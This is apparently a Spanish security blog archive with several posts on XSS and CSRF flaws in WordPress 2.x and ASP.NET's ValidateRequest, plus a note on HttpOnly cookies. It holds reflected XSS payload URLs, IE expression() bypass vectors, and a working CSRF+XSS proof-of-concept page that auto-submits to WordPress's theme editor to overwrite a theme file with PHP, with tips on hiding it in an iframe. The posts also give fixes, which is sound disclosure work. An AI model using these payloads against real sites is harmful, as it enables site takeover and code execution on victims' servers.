Categories
Seguridad Sql Injection Web WordPress XSS

Más vulnerabilidades: XSS e ¿Inyección de SQL? en WordPress

Esto es de nunca acabar, se siguen reportando más vulnerabilidades XSS en WordPress, el siguiente ejemplo funciona en todas las versiones 2.x de WordPress (incluyendo la versión en desarrollo).

code:

http://wordpress/wp-admin/page-new.php?saved="><script>alert(123)</script>

Para solucionar este problema, apliquen la función attribute_escape a la dirección URL que retorna de get_page_link (línea 13 de wp-admin/page-new.php en 2.1.2).

php:

<?php echo attribute_escape(get_page_link( isset($_GET['posted']) ? $_GET['posted'] : $_GET['saved'] )); ?>

Por otro lado, la persona que reportó esa vulnerabilidad, también me comentó que existe una vulnerabilidad de Inyección de SQL que afecta a todas las versiones de este popular y últimamente bastante inseguro CMS.

La siguiente cita es parte del mail que recibí hoy en la mañana:

But there is another XSS:
wp-admin/page-new.php?saved="><script>alert(123)</script>

There is also an SQL Injection Vulnerability in combination with PHP 4.3.9
It is Possible to spy out any data. The vulnerability exists in all versions, incl. svn trunk

Categories
.NET ASP.NET Seguridad Web XSS

ValidateRequest no es suficiente para protegernos de ataques XSS

En una entrada anterior ya había advertido que la validación que ofrece la propiedad ValidateRequest es muy básica como para sólo confiar en ésta. Para probar esta afirmación tomaremos como ejemplo el siguiente código que seguramente muchos escribimos alguna vez y que otros todavía lo siguen haciendo 🙁

html:

<%@ Page Language="C#" AutoEventWireup="true" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
    <title>Untitled Page</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>
        <%= Request.Params["Mensaje"] %>
       
        <a href="<%= Request.Params["Uri"] %>">¡Hola!</a>
    </div>
    </form>
</body>
</html>

Conseguir ejecutar javascript usando el parámetro Mensaje, es un poco fastidioso, porque hay que evitar usar las cadenas <[a-z!] para evitar una excepción del tipo HttpRequestValidationException, por ejemplo para http://aspspider.org/buayacorp/xss.aspx?Mensaje=<script> se produce el siguiente error:

A potentially dangerous Request.QueryString value was detected from the client (Mensaje="<script>").

Description: Request Validation has detected a potentially dangerous client input value, and processing of the request has been aborted. This value may indicate an attempt to compromise the security of your application, such as a cross-site scripting attack. You can disable request validation by setting validateRequest=false in the Page directive or in the configuration section. However, it is strongly recommended that your application explicitly check all inputs in this case.

Exception Details: System.Web.HttpRequestValidationException: A potentially dangerous Request.QueryString value was detected from the client (Mensaje="<script>").

Revisando uno de los hilos de los foros de sla.ckers.org, uno de los miembros comentó que -para variar- Internet Explorer interpreta los atributos que se ponen en el cierre de algunas etiquetas HTML (</a style=xss:expression(alert(/XSS/))>). Aprovechando este vector de ataque, entonces un ejemplo válido para conseguir ejecutar javascript es http://aspspider.org/buayacorp/xss.aspx?Mensaje=</a style=xss:expression(alert(/XSS/))>.

En el segundo caso que involucra al parámetro Uri es más sencillo, puesto que no se necesita de ningún caracter < para poder ejecutar javascript, para la siguiente dirección http://aspspider.org/buayacorp/xss.aspx?Uri=" style=xss:expression(alert(/XSS/)) " se genera:

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
        Untitled Page
</title></head>
<body>
    <form name="form1" method="post" action="xss.aspx?Uri=%22+style%3dxss%3aexpression(alert(%2fXSS%2f))+%22" id="form1">
<div>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEzNDEyMDg2NjZkZCXpsuyzajePI7u8zKPoDxOfXJHy" />
</div>

    <div>
       
       
        <a href="" style=xss:expression(alert(/XSS/)) "">Click</a>

    </div>
    </form>
</body>
</html>

Si entre la audiencia todavía existen desarrolladores que confían en la validación por omisión que trae ASP.NET, es hora de empezar a utilizar los métodos que trae la clase HttpUtility o mejor aún el denominado Microsoft Anti-Cross Site Scripting Library 😉

Categories
Firefox Seguridad XSS

Cookies HttpOnly probablemente para Firefox 3

Finalmente, luego de algo más que cuatro años, se implementó el soporte para cookies con atributo HttpOnly.

HttpOnly cookies were designed by the Internet Explorer developers back in 2002 and implemented in IE 6sp1, unfortunately, uptake among other browsers was extremely slow, and it's been under-utilized in web applications. Well, the Firefox developers finally got around to implementing HttpOnly in Firefox, and Safari currently supports it based on my testing with 2.0.4 (anybody know when it first became supported -- it wasn't earlier last year). Unfortunately, Opera 9.10 still looks like it doesn't support HttpOnly cookies, and the fix in FF won't be public in a stable release until Firefox 3.0, so unless you're comfortable downloading and running the 3.0 alphas (called "Minefield, no less), we still have a ways to go before support becomes more ubiquitous.

Aunque al parecer Firefox 3 todavía no tiene una fecha definida para su versión final, como se comenta en la cita, pueden estar probando las versiones alpha.

Categories
CSRF Seguridad Web WordPress XSS

WordPress, XSS y CSRF – Final

Puesto que el anterior quiz ya fue resuelto, pongo la prueba de concepto que permite sobreescribir cualquier archivo del tema que esté usando una determinada instalación de WordPress (el que viene por defecto para este ejemplo), esto funcionará siempre y cuando el usuario actual tenga los permisos suficientes como para modificar los archivos del tema.

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">     
<head>
        <title>WordPress XSS PoC</title>
</head>
<body id="main">

        <form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
                <p>
                        <textarea name="newcontent" rows="8" cols="40"><?php echo "Owned! " . date('F d, Y'); ?></textarea>
                </p>
                <p>
                        <input type="hidden" name="action" value="update" />
                        <input type="hidden" name="file" value="wp-content/themes/default/index.php" />  
                </p>
        </form> 
        <script type="text/javascript">
        // <![CDATA[
                document.forms[0].submit();
        // ]]>

        </script>
</body>
</html>

El código que genera una versión vulnerable de WordPress para la prueba de concepto es el siguiente:

html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
        <title>WordPress Confirmation</title>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <link rel="stylesheet" href="install.css" type="text/css" />
</head>
<body>
        <h1 id="logo"><img alt="WordPress" src="images/wordpress-logo.png" /></h1>
        <p>     <form method='post' action='theme-editor.php'><image src=a onerror=javascript:document.forms[0].submit()><a'.php'>

                <input type='hidden' name='action' value='update' />
                <input type='hidden' name='newcontent' value='<?php echo "owned! " . date('F j, y'); ?>' />
                <input type='hidden' name='file' value='wp-content/themes/default/index.php' />
                <input type='hidden' name='do' value='Do!' />
                <input type='hidden' name='_wpnonce' value='1d0bfa4c4e' />
                <div id='message' class='confirm fade'>
                <p>Are you sure you want to edit this theme file: "wp-content/themes/default/index.phpWordPress Default"?</p>

                <p><a href='http://localhost/wordpress/wp-admin'>No</a> <input type='submit' value='Yes' /></p>
                </div>
        </form>
</body>
</html></p>
</body>
</html>

La parte más interesante de la prueba de concepto, es que se hace uso de una etiqueta HTML que no necesita cierre y que además permite tener un pequeño tiempo de gracia para que cargue la página y se envíen todos los campos del formulario, es por este motivo que el código javascript se ubica en el evento onerror (soportado por la mayoría de navegadores) de la etiqueta IMG.

Para aprovechar esta vulnerabilidad sin que la víctima se de cuenta, podemos hacer uso de CSRF, esto es cargar el código mostrado desde un iframe e incitar al usuario afectado para que visite una página confiable que contenga el elemento mencionado.

Categories
PHP Quiz Seguridad Web WordPress XSS

WordPress, XSS y CSRF – Parte 2

En la primera parte vimos un poco de los problemas que tiene usar $_SERVER['PHP_SELF'] sin ningún tipo de validación. Para esta segunda parte, he preparado un pequeño quiz que básicamente refleja los problemas reportados en WordPress.

La siguiente porción de código es una versión resumida del contenido de los archivos wp-includes/vars.php y wp-includes/functions.php (función wp_nonce_ays):

php:

<?php

$PHP_SELF = $_SERVER['PHP_SELF'];
if ( preg_match('#([^/]+\.php)$#', $PHP_SELF, $self_matches) ) {
        $pagina_actual = $self_matches[1];
} else {
        $pagina_actual = 'wp.php';
}

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es">     
<head>
        <title>Wordpress demo</title>
</head>
<body id="main">
        <form action="<?php echo $pagina_actual; ?>" method="post">
                <input name="foo" id="foo" type="text" tabindex="0" />
                <input name="postback" id="postback" type="submit" value="Enviar" tabindex="1" />
        </form>
</body>
</html>

¿Algún ejemplo que aproveche el bug que existe en el código de prueba? (de preferencia que funcione en varios navegadores)

Nota: Por motivos de seguridad no voy a facilitarles una página de prueba, puesto que por más que ponga los ejemplos en un subdominio, éstos son accesibles también desde el dominio principal, haciendo vulnerable a XSS mi instalación de WordPress 😀 --quise usar Dreamhost, pero para este caso no sirve.